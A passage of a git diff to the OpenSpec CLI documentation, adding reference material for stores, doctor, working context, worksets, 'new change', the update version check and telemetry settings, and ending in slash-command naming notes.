valid, id?, remote}, git: {is_repository, has_commits, has_uncommitted_changes, has_remote, origin_url}, status } ], "status": [] }` (`null` = unknown/not probed). Health findings exit 0; failures exit 1 with the matching null-shape. Prompt cancellation exits 130. + +### 4.13 `schemas --json` / `templates --json` +`schemas`: bare array `[ {name, description, artifacts, source} ]`. `templates`: keyed object `{ "": {path, source} }`. Both cwd-based, no root/status keys. + +## 5. Exit-code contract + +| Situation | Exit | Stdout | +|---|---|---| +| Success, incl. health findings (doctor/context/store doctor) | 0 | the payload | +| Command failure in `--json` mode | 1 | one JSON document with `status: [d]` and the command's null-shape | +| `validate` with failing items | 1 | full report | +| Prompt cancellation (`store` group, human mode) | 130 | stderr only | + +## 6. Diagnostic code catalog + +### Resolution +`no_openspec_root`, `no_root_with_registered_stores`, `no_registered_stores`, `unknown_store`, `store_identity_mismatch`, `unhealthy_store_root`, `store_path_not_supported`, `invalid_store_pointer`, `initiative_option_removed`, `areas_option_removed`; pass-through: `invalid_store_id`, `invalid_store_registry`, `invalid_store_metadata`. + +### OpenSpec-root health (error, no fix) +`openspec_store_root_missing`, `openspec_store_root_not_directory`, `openspec_root_missing`, `openspec_root_not_directory`, `openspec_config_missing`, `openspec_config_not_file`, `openspec_specs_not_directory`, `openspec_changes_not_directory`, `openspec_archive_not_directory`. During the stores beta, `openspec/specs/`, `openspec/changes/`, and `openspec/changes/archive/` may be absent in a healthy root; they are only health errors when present but not directories. + +### Store registry/identity/state +`invalid_store_id`, `invalid_store_registry`, `invalid_store_metadata`, `store_registry_busy`, `store_not_found`, `no_store_registry`, `store_registry_changed`, `store_metadata_missing`, `store_metadata_id_mismatch`, `store_metadata_invalid`, `store_id_conflict`, `store_path_conflict`, `store_already_registered` (info). + +### Store setup/register/remove +`store_setup_id_required`, `store_setup_path_required`, `store_setup_path_not_directory`, `store_setup_inside_git_repo`, `store_setup_non_empty_directory`, `store_setup_cancelled`, `store_path_required`, `store_path_missing`, `store_path_not_directory`, `store_root_pointer_declared`, `store_register_root_unhealthy`, `store_register_identity_confirmation_required`, `store_register_cancelled`, `store_remote_empty`, `store_remote_requires_hand_edit`, `store_remove_confirmation_required`, `store_remove_cancelled`, `store_remove_path_not_directory`, `store_remove_metadata_missing`, `store_root_missing` (warning in remove, error in doctor), `store_root_not_directory`. + +### Store git +`store_git_init_failed`, `store_git_identity_missing`, `store_git_commit_failed`, `store_git_no_commits` (warning), `store_clone_fragile_directories` (warning), `store_remote_divergence` (info, doctor), `store_checkout_drift` (info, doctor). + +### References (warning) +`reference_invalid_id`, `reference_registry_unreadable`, `reference_unresolved`, `reference_root_unhealthy`, `reference_index_truncated`. + +### Relationships (warning; doctor; context keeps only the registry one) +`relationship_registry_unreadable`, `root_pointer_ignored`, `root_pointer_invalid`, `pointer_declarations_inert`. + +### Archive (JSON mode) +`archive_change_name_required`, `archive_change_not_found`, `archive_change_symlink`, `archive_validation_failed`, `archive_confirmation_required`, `archive_tasks_incomplete`, `archive_spec_update_failed`, `archive_spec_validation_failed`, `archive_target_exists`, `archive_error`. + +### Context writes +`context_file_exists`, `context_output_dir_missing`. + +### Fallbacks +`doctor_failed`, `context_failed`, `store_error`, `change_error`, `archive_error`. + +## Known inconsistencies + +Recorded by the capstone audit; published-key renames are product decisions deferred past this release: + +1. ~~In `--json` mode, several failure paths printed stderr only with no JSON document.~~ Fixed in the capstone gauntlet round: `show`/`validate` unknown and ambiguous items emit `{status:[{code: unknown_item | ambiguous_item, ...}]}`; thrown errors in `status`/`instructions`/`list`/`show`/`validate` route through the JSON-aware failure helper (the command's null-shape + `status`); `store --json` emits `{status:[{code: unknown_store_subcommand}]}`; `list` carries its `{changes|specs: [], root: null}` null-shape on resolution failures. +2. `store_root_missing` is emitted with two severities (warning in remove, error in store doctor) — context-dependent, documented above. +3. snake_case (store family) vs camelCase (workflow family) key casing; `root.store_id` is snake_case everywhere. +4. Four parallel envelope type declarations exist in src; archive diagnostics never carry `target`. +5. `list --json` reuses the `status` key as a string enum per change. +6. Only `validate` output carries a `version` field. +7. `schemas`/`templates` ignore root selection (cwd-based, no `--store`). +8. Deprecated noun forms (`change`/`spec` subcommands) emit unenveloped payloads without `root`/`status`. diff --git a/docs/cli.md b/docs/cli.md index ddcdaa0a41..c76ffb9add 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -7,10 +7,14 @@ The OpenSpec CLI (`openspec`) provides terminal commands for project setup, vali | Category | Commands | Purpose | |----------|----------|---------| | **Setup** | `init`, `update` | Initialize and update OpenSpec in your project | +| **Stores (standalone OpenSpec repos)** | `store setup`, `store register`, `store unregister`, `store remove`, `store list`, `store doctor` | Manage stores — standalone OpenSpec repos you've registered | +| **Health** | `doctor` | Report relationship health for the resolved root | +| **Working context** | `context` | Assemble the working set (root + referenced stores) | +| **Personal worksets** | `workset create`, `workset list`, `workset open`, `workset remove` | Keep and open personal, local working views in your tool | | **Browsing** | `list`, `view`, `show` | Explore changes and specs | | **Validation** | `validate` | Check changes and specs for issues | | **Lifecycle** | `archive` | Finalize completed changes | -| **Workflow** | `status`, `instructions`, `templates`, `schemas` | Artifact-driven workflow support | +| **Workflow** | `new change`, `status`, `instructions`, `templates`, `schemas` | Artifact-driven workflow support | | **Schemas** | `schema init`, `schema fork`, `schema validate`, `schema which` | Create and manage custom workflows | | **Config** | `config` | View and modify settings | | **Utility** | `feedback`, `completion` | Feedback and shell integration | @@ -29,6 +33,7 @@ These commands are interactive and designed for terminal use: |---------|---------| | `openspec init` | Initialize project (interactive prompts) | | `openspec view` | Interactive dashboard | +| `openspec workset open ` | Open a saved workset (editor window or terminal agent session) | | `openspec config edit` | Open config in editor | | `openspec feedback` | Submit feedback via GitHub | | `openspec completion install` | Install shell completions | @@ -46,6 +51,16 @@ These commands support `--json` output for programmatic use by AI agents and scr | `openspec instructions` | Get next steps | `--json` for agent instructions | | `openspec templates` | Find template paths | `--json` for path resolution | | `openspec schemas` | List available schemas | `--json` for schema discovery | +| `openspec store setup ` | Create and register a local store | `--json` with explicit inputs for structured setup output | +| `openspec store register ` | Register an existing store | `--json` for structured registration output | +| `openspec store unregister ` | Forget a local store registration | `--json` for structured cleanup output | +| `openspec store remove ` | Delete a registered local store folder | `--yes --json` for non-interactive deletion | +| `openspec store list` | Browse registered stores | `--json` for structured registrations | +| `openspec store doctor` | Check local store setup | `--json` for structured diagnostics | +| `openspec new change ` | Create repo-local change scaffolding | `--json`, plus `--store ` to use a registered store as the OpenSpec root | +| `openspec workset create [name]` | Compose a personal working view | `--member --json` for non-interactive composition | +| `openspec workset list` | Browse saved worksets | `--json` for structured views | +| `openspec workset remove ` | Delete a saved view | `--yes --json` for non-interactive removal | --- @@ -67,7 +82,7 @@ These options work with all commands: Initialize OpenSpec in your project. Creates the folder structure and configures AI tool integrations. -Default behavior uses global config defaults: profile `core`, delivery `both`, workflows `propose, explore, apply, archive`. +Default behavior uses global config defaults: profile `core`, delivery `both`, workflows `propose, explore, apply, update, sync, archive`. ``` openspec init [path] [options] @@ -86,10 +101,17 @@ openspec init [path] [options] | `--tools ` | Configure AI tools non-interactively. Use `all`, `none`, or comma-separated list | | `--force` | Auto-cleanup legacy files without prompting | | `--profile ` | Override global profile for this init run (`core` or `custom`) | +| `--no-animation` | Show a static welcome screen instead of the animated one | +| `--copilot-cloud` | Set up GitHub Copilot [cloud coding-agent files](supported-tools.md#github-copilot-cloud-coding-agent) without prompting | +| `--no-copilot-cloud` | Skip GitHub Copilot cloud coding-agent files without prompting | `--profile custom` uses whatever workflows are currently selected in global config (`openspec config profile`). -**Supported tool IDs (`--tools`):** `amazon-q`, `antigravity`, `auggie`, `claude`, `cline`, `codex`, `codebuddy`, `continue`, `costrict`, `crush`, `cursor`, `factory`, `gemini`, `github-copilot`, `iflow`, `kilocode`, `kiro`, `opencode`, `pi`, `qoder`, `qwen`, `roocode`, `trae`, `windsurf` +The welcome animation is also skipped when the `OPENSPEC_NO_ANIMATION` environment variable is set (any value, including empty), when `NO_COLOR` is set to a non-empty value, or when the OS reduced-motion preference is enabled (macOS Reduce Motion, GNOME animations disabled). + +**Supported tool IDs (`--tools`)** — `windsurf` is also accepted, as an alias for `devin`: `amazon-q`, `antigravity`, `auggie`, `bob`, `claude`, `cline`, `codeartsagent`, `codex`, `devin`, `forgecode`, `codebuddy`, `continue`, `costrict`, `crush`, `cursor`, `factory`, `gemini`, `github-copilot`, `hermes`, `iflow`, `junie`, `kilocode`, `kimi`, `kiro`, `lingma`, `minimax-code`, `vibe`, `oh-my-pi`, `opencode`, `pi`, `qoder`, `qwen`, `roocode`, `trae`, `zcode`, `agents` + +> This list mirrors `AI_TOOLS` in `src/core/config.ts`. See [Supported Tools](supported-tools.md) for each tool's skill and command paths. **Examples:** @@ -103,6 +125,9 @@ openspec init ./my-project # Non-interactive: configure for Claude and Cursor openspec init --tools claude,cursor +# Non-interactive: configure global MiniMax Code skills +openspec init --tools minimax-code + # Configure for all supported tools openspec init --tools all @@ -124,6 +149,7 @@ openspec/ .claude/skills/ # Claude Code skills (if claude selected) .cursor/skills/ # Cursor skills (if cursor selected) .cursor/commands/ # Cursor OPSX commands (if delivery includes commands) +.agents/skills/ # Shared skills for AGENTS.md-compatible tools (if agents selected) ... (other tool configs) ``` @@ -153,10 +179,246 @@ openspec update [path] [options] ```bash # Update instruction files after npm upgrade -npm update @fission-ai/openspec +npm install -g @fission-ai/openspec@latest openspec update ``` +Upgrade the package first. Instruction files are generated by the installed CLI, so running `openspec update` against a stale install reports everything up to date without adding the workflows newer releases ship. + +To make that visible, `openspec update` asks the npm registry whether a newer CLI has been published. When yours is behind, it offers to upgrade: + +```text +A newer OpenSpec CLI is available (v1.6.0 → v1.7.0). + Running from: /usr/local/lib/node_modules/@fission-ai/openspec +? Upgrade to v1.7.0 now? (Y/n) +``` + +Answer yes and it runs `npm install -g @fission-ai/openspec@latest`, then re-runs the update with the new CLI so the new workflows land in the same command. It confirms the upgrade by asking the installed binary its version rather than trusting npm's exit code, so if another install earlier on your `PATH` is still answering, it tells you instead of claiming success. Answer no and it prints the command and updates with the CLI you have. Ctrl-C stops the command. + +The offer appears only in an interactive terminal, and only when npm owns the install — the one case `npm install -g` actually fixes. Everything else gets the command that matches how it was installed instead: + +| How OpenSpec is installed | What you get | +|---------------------------|--------------| +| Global npm install | The prompt, and the upgrade run for you — in an interactive terminal; piped output gets the printed command instead | +| Global pnpm, bun, yarn, or volta install | That manager's own command: `pnpm add -g …@latest`, `bun add -g …@latest`, `yarn global add …@latest`, or `volta install …@latest` | +| A dependency of the project | A note to update the dependency, since its package manager owns the lockfile | +| An `npx` / `dlx` cache | `npx @fission-ai/openspec@latest update` — that command is the update, so there is no second step | +| A git clone | Nothing — your version is whatever the branch says | + +Whenever anything is printed, it names the directory the running CLI was loaded from — the thing to check when you did upgrade but a stale shim still owns your `PATH`. + +It asks the registry in `npm_config_registry` when npm exports it, and `https://registry.npmjs.org` otherwise. No `.npmrc` is read: letting file contents choose where an outbound request goes is a flow worth avoiding, and a project's `.npmrc` travels with the repository. On a private mirror, export `npm_config_registry` — or set `OPENSPEC_NO_UPDATE_CHECK` to skip the check entirely. The check is skipped when `CI` is set to anything but an explicit off-value (`false`, `0`, `no`, `off`, or empty), under `NODE_ENV=test`, and whenever `OPENSPEC_NO_UPDATE_CHECK` (any value), `DO_NOT_TRACK=1`, or `OPENSPEC_TELEMETRY=0` is set. It runs before the update and can delay it by at most 1.5 seconds — it gives up after that even when the network drops packets silently, and stays quiet when the registry is unreachable. + +**How "up to date" is decided:** skill files record the version that generated +them, so OpenSpec compares that against the installed CLI. Command files carry no +version stamp, so for a tool that has commands but no skills (delivery +`commands`), OpenSpec compares the file contents against what it would generate +now — edits to those files count as drift and are overwritten. With delivery +`skills` or `both`, only the recorded version is checked, so a hand-edited file +whose version still matches is left alone; use `--force` to rewrite it. Either +way, generated files are OpenSpec's to own — keep your own instructions +elsewhere. + +--- + +## Stores (standalone OpenSpec repos) + +> **Beta.** Stores and the features built on them (references, working context, worksets) are new; command names, flags, file formats, and JSON output may change shape between releases. For the problem-first walkthrough, see the [stores guide](stores-beta/user-guide.md). + +A store is a standalone OpenSpec repo you've registered on this machine — for example a planning repo or a contracts repo. Registering a store lets normal commands (`list`, `show`, `status`, `validate`, `new change`, `archive`, ...) act in it from anywhere by passing `--store `. + +### `openspec store setup` + +Create and register a local store. With no arguments in a terminal, +OpenSpec guides the user through setup. Agents and scripts should pass explicit +inputs and use `--json`. + +```bash +openspec store setup [id] [options] +``` + +**Options:** + +| Option | Description | +|--------|-------------| +| `--path ` | Folder where the store should live (for example `~/openspec/`) | +| `--remote ` | Record the canonical remote in the new store's `store.yaml` | +| `--init-git` | Initialize a Git repository with an initial commit (default) | +| `--no-init-git` | Skip every Git action: no init, no initial commit | +| `--json` | Output JSON | + +Non-interactive runs (`--json`, scripts, agents) must pass both the store id and `--path`. In an interactive terminal, setup prompts for the location with an editable suggestion in a visible, user-owned place (for example `~/openspec/`); it never defaults to OpenSpec's managed data directory. + +Examples: + +```bash +openspec store setup +openspec store setup team-context +openspec store setup team-context --path ~/openspec/team-context --no-init-git +openspec store setup team-context --path ~/openspec/team-context --no-init-git --json +``` + +### `openspec store register` + +Register an existing local store folder. During the stores beta, a root may be +registered before any changes exist, specs have been applied, or changes have +been archived; in that case `openspec/changes/`, `openspec/specs/`, and +`openspec/changes/archive/` may be absent until normal commands create them. +A config-only repo that declares `store: ` remains a pointer to another +store and is not registered as a store root unless that pointer is removed. + +```bash +openspec store register [path] [options] +``` + +**Options:** + +| Option | Description | +|--------|-------------| +| `--id ` | Store id; defaults to store metadata or folder name | +| `--yes` | Confirm creating store identity metadata for a healthy OpenSpec root | +| `--json` | Output JSON | + +### `openspec store unregister` + +Forget a local store registration without deleting files. + +```bash +openspec store unregister [--json] +``` + +Use this when a store was moved, cloned somewhere else, or should no longer be +shown by OpenSpec on this machine. + +### `openspec store remove` + +Forget a local store registration and delete its local folder. + +```bash +openspec store remove [--yes] [--json] +``` + +`remove` shows the exact folder before deleting in an interactive terminal. +Agents, scripts, and JSON callers must pass `--yes` to confirm deletion. +OpenSpec refuses to delete a folder that does not contain matching +store metadata. + +### `openspec store list` + +List locally registered stores. + +```bash +openspec store list [--json] +openspec store ls [--json] +``` + +### `openspec store doctor` + +Check local store registration, metadata, and Git presence. + +```bash +openspec store doctor [id] [--json] +``` + +Doctor is diagnostic-only; it reports missing roots, metadata mismatches, and invalid local registry state without modifying the store. + +### Referencing stores from a project + +A project repo can declare which stores its work draws on in `openspec/config.yaml`: + +```yaml +schema: spec-driven +references: + - team-context +``` + +From then on, `openspec instructions` output in that repo (both the per-artifact and `apply` surfaces, JSON and human modes) carries an index of each referenced store's specs — spec ids, a one-line summary from each spec's Purpose section, and the fetch command (`openspec show --type spec --store `). The index is built live from the registered checkout on every run; spec content is never copied into the output. + +References are read-only context. They never change where commands act: work stays in the repo's own root, and writing to a referenced store remains an explicit `--store` action. A reference that cannot be resolved (for example, a store not registered on this machine) degrades to a warning in the index with the exact fix, and instructions still generate. `openspec doctor` reports reference health in one place. + +### Recording where a store is cloned from + +A store can record its canonical clone source in its committed identity file, so onboarding never dead-ends at "register the store": + +```bash +openspec store setup team-context --path ~/openspec/team-context \ + --remote git@github.com:acme/team-context.git +``` + +The remote lands in `.openspec-store/store.yaml` inside the initial commit, so every clone is born knowing it. For an existing store, edit `store.yaml` by hand and commit. `store doctor` shows the recorded remote (and the checkout's observed Git origin); setup/register sharing guidance names it; and register records the checkout's origin in the machine-local registry. + +A reference declaration can carry the clone source too, so a teammate who doesn't have the store yet gets a complete, pasteable fix (`git clone && openspec store register --id `): + +```yaml +references: + - { id: team-context, remote: "git@github.com:acme/team-context.git" } +``` + +Recording a remote is not sync: OpenSpec never clones, pulls, or pushes on its own. + +### Declaring a default store + +A repo whose planning is fully externalized — no local `openspec/specs/` or `openspec/changes/` — can declare its store once instead of passing `--store` on every command: + +```yaml +# openspec/config.yaml (the only file under openspec/) +store: team-context +``` + +Normal commands then resolve to the declared store automatically; the root banner and JSON `root` block report `source: "declared"` with the store id, and printed hints still carry `--store `. The declaration is a fallback, never an override: explicit `--store` always wins, and a directory with real planning folders ignores the pointer (with a warning). To convert a pointer repo into a local OpenSpec root, remove the `store:` line and run `openspec init` — init refuses to scaffold while the declaration is present. + +A machine-level variant covers every repo at once: `openspec config set defaultStore ` (see Configuration). It is consulted only after `--store`, a local root, and a project pointer have all failed to resolve; the root banner and JSON `root` block then report `source: "global_default"`. + +## Doctor (relationship health) + +One read-only question, one place: is the OpenSpec root healthy, and are the stores it references available on this machine? + +```bash +openspec doctor [--store ] [--json] +``` + +The report separates root health, store metadata health (including a note when the recorded remote and the checkout's origin diverge, and a note when the store checkout has drifted behind its last-fetched upstream tracking ref), and reference health (the same diagnostics instructions show, with clone fixes for unresolved references). Health findings of any severity exit 0 — agents read the `status` arrays; only command failures (no root, unknown store) exit 1. Doctor never clones, syncs, or repairs. To get the assembled set itself rather than its health, use `openspec context`. + +## Working context (the assembled set) + +Everything this work relates to through OpenSpec declarations, in one working set: the OpenSpec root and the stores it references. + +```bash +openspec context [--store ] [--json] [--code-workspace [--force]] +``` + +The JSON brief is agent-consumable (each available referenced store carries its fetch recipe; unresolved members carry the same fixes instructions and doctor show). `--code-workspace` additionally writes a VS Code workspace file containing the root plus the available referenced stores (`ref:` folders) — the one write this command performs, refused without `--force` if the file exists. Unavailable members are reported, never guessed at. + +"Working context" is the assembled set; the `context:` field in `openspec/config.yaml` is project background injected into instructions — two different things. `openspec doctor` answers whether the set is healthy; `openspec context` answers what the set is. + +## Personal worksets + +> **Beta.** Worksets are part of the new beta surface; commands, flags, and file formats may change shape between releases. For the walkthrough, see the [stores guide](stores-beta/user-guide.md#worksets-reopen-the-folders-you-work-on-together). + +A workset is a personal, named view of the folders you work on together — a planning root plus whatever else you choose — kept on your machine and reopened by name in your tool. It is purely local: never committed, never shared, never derived from declarations, and removing one never touches a member folder. + +```bash +openspec workset create [name] [--member | --member =]... [--tool ] [--json] +openspec workset list [--json] +openspec workset open [--tool ] +openspec workset remove [--yes] [--json] +``` + +`create` runs a short guided flow (or takes `--member` flags non-interactively; the first member is the primary — sessions start there). `open` launches the chosen tool: editors (VS Code, Cursor) open a window with every member and return; CLI agents (Claude Code, codex) take over this terminal as a session with every member attached and no prompt pre-filled, ending when you exit. A member folder missing at open time is skipped with a note; the rest opens. The saved tool preference is overridable per open with `--tool`. + +Supporting a new tool is configuration, not code. Every tool is one of two launch styles — `workspace-file` (launched with the generated `.code-workspace`) or `attach-dirs` (one attach flag per member) — and the `openers` key in the global `config.json` (open it with `openspec config edit`) adds tools or adjusts built-ins per field: + +```json +{ + "openers": { + "zed": { "style": "workspace-file" }, + "claude": { "attach_flag": "--dir" } + } +} +``` + +All workset state lives under the global data dir's `worksets/` folder (the saved views plus the generated `.code-workspace` files, regenerated on every open); deleting that folder removes every trace. + --- ## Browsing Commands @@ -194,9 +456,8 @@ openspec list --json **Output (text):** ``` -Active changes: - add-dark-mode UI theme switching support - fix-login-bug Session timeout handling +Changes: + add-dark-mode No tasks just now ``` --- @@ -271,12 +532,14 @@ openspec show add-dark-mode --json ### `openspec validate` -Validate changes and specs for structural issues. +Validate changes and specs for structural issues, and check a change's MODIFIED requirements against the main specs they would replace. ``` openspec validate [item-name] [options] ``` +A change with zero spec deltas fails validation unless its `.openspec.yaml` declares `skip_specs: true` (for pure refactors, tooling, or docs work — see [Recipe 5](examples.md#recipe-5-a-refactor-with-no-behavior-change)). + **Arguments:** | Argument | Required | Description | @@ -364,26 +627,26 @@ openspec archive [change-name] [options] | Argument | Required | Description | |----------|----------|-------------| -| `change-name` | No | Change to archive (prompts if omitted) | +| `change-name` | No | Change to archive (prompts if omitted; required when nothing can answer the prompt) | **Options:** | Option | Description | |--------|-------------| -| `-y, --yes` | Skip confirmation prompts | -| `--skip-specs` | Skip spec updates (for infrastructure/tooling/doc-only changes) | -| `--no-validate` | Skip validation (requires confirmation) | +| `-y, --yes` | Skip confirmation prompts. Required when nothing can answer them — an AI agent, a CI job, or any run with stdin closed | +| `--skip-specs` | Skip spec updates for one archive run. A change that permanently has no spec deltas should declare `skip_specs: true` in its `.openspec.yaml` instead — it archives with no flag | +| `--no-validate` | Skip validation (requires confirmation). Also disables capability retirement — with no validator verdict, nothing is retired | **Examples:** ```bash -# Interactive archive +# Interactive archive (asks which change, then confirms) openspec archive # Archive specific change openspec archive add-dark-mode -# Archive without prompts (CI/scripts) +# Archive without prompts (agents, CI, scripts) openspec archive add-dark-mode --yes # Archive a tooling change that doesn't affect specs @@ -394,8 +657,16 @@ openspec archive update-ci-config --skip-specs 1. Validates the change (unless `--no-validate`) 2. Prompts for confirmation (unless `--yes`) -3. Merges delta specs into `openspec/specs/` -4. Moves change folder to `openspec/changes/archive/YYYY-MM-DD-/` +3. Claims the archive destination before changing any main spec +4. Validates and merges the active delta specs into `openspec/specs/` — a capability whose last requirement the change removes is retired, and its spec file deleted, but only when the change's `.openspec.yaml` declares `retire_capabilities: true` next to its `schema:` +5. Moves the change folder to `openspec/changes/archive/YYYY-MM-DD-/` +6. If a spec mutation or final move fails before a complete archive is secured, restores the specs and leaves or returns the change at its active path +7. If a verified fallback copy completes but staged-source cleanup fails, retains the complete archive and committed spec state for recovery + +**Without a terminal:** an AI agent, a CI job, or any run with stdin closed cannot +answer step 2, so archive stops before touching anything, exits 1, and names the +command to rerun — `openspec archive --yes`, carrying whatever other flags +you passed. Pass `--yes` (and the change name) up front to skip the round trip. --- @@ -403,6 +674,37 @@ openspec archive update-ci-config --skip-specs These commands support the artifact-driven OPSX workflow. They're useful for both humans checking progress and agents determining next steps. +### `openspec new change` + +Create a change directory and optional checked-in metadata in the resolved OpenSpec root. + +```bash +openspec new change [options] +``` + +Change names must use lowercase kebab-case: lowercase letters, numbers, and +single hyphens. They cannot contain spaces, underscores, uppercase letters, +consecutive hyphens, or leading/trailing hyphens. A leading number is allowed, +so you can prefix names to order or tier changes, for example `100-add-feature` +or `00001-add-auth`. + +**Options:** + +| Option | Description | +|--------|-------------| +| `--description ` | Description to add to `README.md` | +| `--goal ` | Optional goal metadata to store with the change | +| `--schema ` | Workflow schema to use | +| `--store ` | Store id to use as the OpenSpec root (a store is a standalone OpenSpec repo you've registered) | +| `--json` | Output JSON | + +Examples: + +```bash +openspec new change add-billing-api +openspec new change add-billing-api --store team-context --json +``` + ### `openspec status` Display artifact completion status for a change. @@ -440,28 +742,42 @@ Schema: spec-driven Progress: 2/4 artifacts complete [x] proposal -[ ] design [x] specs +[ ] design [-] tasks (blocked by: design) ``` +A change that declares `skip_specs: true` shows its specs stage as `[~] specs (skipped: change declares skip_specs)` and excludes it from the progress count. + **Output (JSON):** ```json { "changeName": "add-dark-mode", "schemaName": "spec-driven", + "isPlanningComplete": false, "isComplete": false, "applyRequires": ["tasks"], "artifacts": [ - {"id": "proposal", "outputPath": "proposal.md", "status": "done"}, - {"id": "design", "outputPath": "design.md", "status": "ready"}, - {"id": "specs", "outputPath": "specs/**/*.md", "status": "done"}, - {"id": "tasks", "outputPath": "tasks.md", "status": "blocked", "missingDeps": ["design"]} + {"id": "proposal", "outputPath": "proposal.md", "status": "done", "requires": []}, + {"id": "specs", "outputPath": "specs/**/*.md", "status": "done", "requires": ["proposal"]}, + {"id": "design", "outputPath": "design.md", "status": "ready", "requires": ["proposal"]}, + {"id": "tasks", "outputPath": "tasks.md", "status": "blocked", "requires": ["specs", "design"], "missingDeps": ["design"]} ] } ``` +`isPlanningComplete` reports whether every non-skipped planning artifact exists; +skipped artifacts count as satisfied without being created. It does not report +whether implementation tasks are complete. `isComplete` is retained as a +compatibility alias with the same value. + +Artifacts are listed in dependency order - a dependency never appears after +something that requires it - and artifacts that become ready at the same time +(spec-driven's `specs` and `design` both need only `proposal`) keep the order the +schema declares them rather than an alphabetical one. So the first `ready` entry +is the artifact to write next. + --- ### `openspec instructions` @@ -476,7 +792,7 @@ openspec instructions [artifact] [options] | Argument | Required | Description | |----------|----------|-------------| -| `artifact` | No | Artifact ID: `proposal`, `specs`, `design`, `tasks`, or `apply` | +| `artifact` | No | Artifact ID, or workflow input surface: `apply` or `archive` | **Options:** @@ -486,7 +802,9 @@ openspec instructions [artifact] [options] | `--schema ` | Schema override | | `--json` | Output as JSON | -**Special case:** Use `apply` as the artifact to get task implementation instructions. +**Special cases:** Use `apply` to get task implementation instructions. Use +`archive` to fetch current, read-only archive inputs (`context` and +`operationGuidance`) for a valid change; it does not archive or mutate anything. **Examples:** @@ -500,6 +818,9 @@ openspec instructions design --change add-dark-mode # Get apply/implementation instructions openspec instructions apply --change add-dark-mode +# Get current archive operation inputs without archiving +openspec instructions archive --change add-dark-mode --json + # JSON for agent consumption openspec instructions design --change add-dark-mode --json ``` @@ -510,6 +831,21 @@ openspec instructions design --change add-dark-mode --json - Project context from config - Content from dependency artifacts - Per-artifact rules from config +- Current project context and matching operation guidance for `apply`/`archive` + +Operation inputs are read from the resolved repo or selected store on every +invocation. Project context is a required prompt-level input: agents read it and +apply relevant project facts, conventions, and constraints. Operation guidance is +optional additive advice: agents consider every entry and follow only entries that +are applicable and compatible with the built-in workflow. Both fields remain +separate from explicit user choices, CLI-controlled state, built-in instructions, +and artifact rules. Conflicting context is reported; conflicting or inapplicable +guidance is not followed and the reason is explained. These are behavioral +contracts for generated agents, not enforceable CLI checks. `instructions archive` +returns only the selected change, optional inputs, and root metadata; it does not +include the static archive workflow. + +For an artifact skipped via `skip_specs: true`, the output is a warning only (JSON adds `skipped`/`warning` fields) — the artifact must not be created. --- @@ -789,7 +1125,7 @@ openspec config list # Get a specific value openspec config get telemetry.enabled -# Set a value +# Set a value (disable anonymous usage telemetry) openspec config set telemetry.enabled false # Set a string value explicitly @@ -798,6 +1134,10 @@ openspec config set user.name "My Name" --string # Remove a custom setting openspec config unset user.name +# Set a machine-level default store (fallback root when no --store, +# local root, or project store: pointer resolves) +openspec config set defaultStore team-plans + # Reset all configuration openspec config reset --all --yes @@ -811,6 +1151,11 @@ openspec config profile openspec config profile core ``` +**Telemetry opt-out:** `telemetry.enabled` defaults to on when unset (opt-out model). +Set it to `false` to disable anonymous usage stats and the `openspec update` version check. +Environment variables take precedence over config: `OPENSPEC_TELEMETRY=0`, `DO_NOT_TRACK=1`, +and a truthy `CI` value (e.g. `true`/`1`/`yes`) always disable telemetry regardless of the config value. + `openspec config profile` starts with a current-state summary, then lets you choose: - Change delivery + workflows - Change delivery only @@ -818,7 +1163,7 @@ openspec config profile core - Keep current settings (exit) If you keep current settings, no changes are written and no update prompt is shown. -If there are no config changes but the current project files are out of sync with your global profile/delivery, OpenSpec will show a warning and suggest running `openspec update`. +If there are no config changes but the current project files are out of sync with your global profile/delivery, OpenSpec will show a warning and suggest `openspec update`. Pressing `Ctrl+C` also cancels the flow cleanly (no stack trace) and exits with code `130`. In the workflow checklist, `[x]` means the workflow is selected in global config. To apply those selections to project files, run `openspec update` (or choose `Apply changes to this project now?` when prompted inside a project). @@ -920,11 +1265,14 @@ openspec completion uninstall | Variable | Description | |----------|-------------| -| `OPENSPEC_TELEMETRY` | Set to `0` to disable telemetry | -| `DO_NOT_TRACK` | Set to `1` to disable telemetry (standard DNT signal) | +| `OPENSPEC_TELEMETRY` | Set to `0` to disable telemetry and the `openspec update` version check (overrides `telemetry.enabled` in global config) | +| `DO_NOT_TRACK` | Set to `1` to disable telemetry and the `openspec update` version check (standard DNT signal; overrides config) | | `OPENSPEC_CONCURRENCY` | Default concurrency for bulk validation (default: 6) | | `EDITOR` or `VISUAL` | Editor for `openspec config edit` | | `NO_COLOR` | Disable color output when set | +| `OPENSPEC_NO_ANIMATION` | Disable the `openspec init` welcome animation when set | +| `OPENSPEC_NO_UPDATE_CHECK` | Disable the `openspec update` check for a newer published CLI when set (any value, including empty). Also skipped when `CI` is set (unless `false`/`0`/`no`/`off`) or `NODE_ENV=test` | +| `npm_config_registry` | Registry the `openspec update` version check asks. Must be an `http(s)` URL or it falls back to `https://registry.npmjs.org`. No `.npmrc` file is read | --- diff --git a/docs/commands.md b/docs/commands.md index fd4bb7fe13..473df68228 100644 --- a/docs/commands.md +++ b/docs/commands.md @@ -1,9 +1,14 @@ # Commands -This is the reference for OpenSpec's slash commands. These commands are invoked in your AI coding assistant's chat interface (e.g., Claude Code, Cursor, Windsurf). +This is the reference for OpenSpec's slash commands. These commands are invoked in your AI coding assistant's chat interface (e.g., Claude Code, Cursor, Devin Desktop). For workflow patterns and when to use each command, see [Workflows](workflows.md). For CLI commands, see [CLI](cli.md). +These pages use `/opsx:` as the canonical name. Some tools spell it +differently — Cursor and GitHub Copilot register `/opsx-propose`, Codex uses +`$openspec-propose` — so check [How To Invoke](supported-tools.md#how-to-invoke) +for your tool. The files OpenSpec generates already use the right form. + ## Quick Reference ### Default Quick Path (`core` profile) @@ -13,6 +18,8 @@ For workflow patterns and when to use each command, see [Workflows](workflows.md | `/opsx:propose` | Create a change and generate planning artifacts in one step | | `/opsx:explore` | Think through ideas before committing to a change | | `/opsx:apply` | Implement tasks from the change | +| `/opsx:update` | Revise a change's planning artifacts and keep them coherent | +| `/opsx:sync` | Merge delta specs into main specs | | `/opsx:archive` | Archive a completed change | ### Expanded Workflow Commands (custom workflow selection) @@ -23,7 +30,6 @@ For workflow patterns and when to use each command, see [Workflows](workflows.md | `/opsx:continue` | Create the next artifact based on dependencies | | `/opsx:ff` | Fast-forward: create all planning artifacts at once | | `/opsx:verify` | Validate implementation matches artifacts | -| `/opsx:sync` | Merge delta specs into main specs | | `/opsx:bulk-archive` | Archive multiple changes at once | | `/opsx:onboard` | Guided tutorial through the complete workflow | @@ -72,6 +78,8 @@ AI: 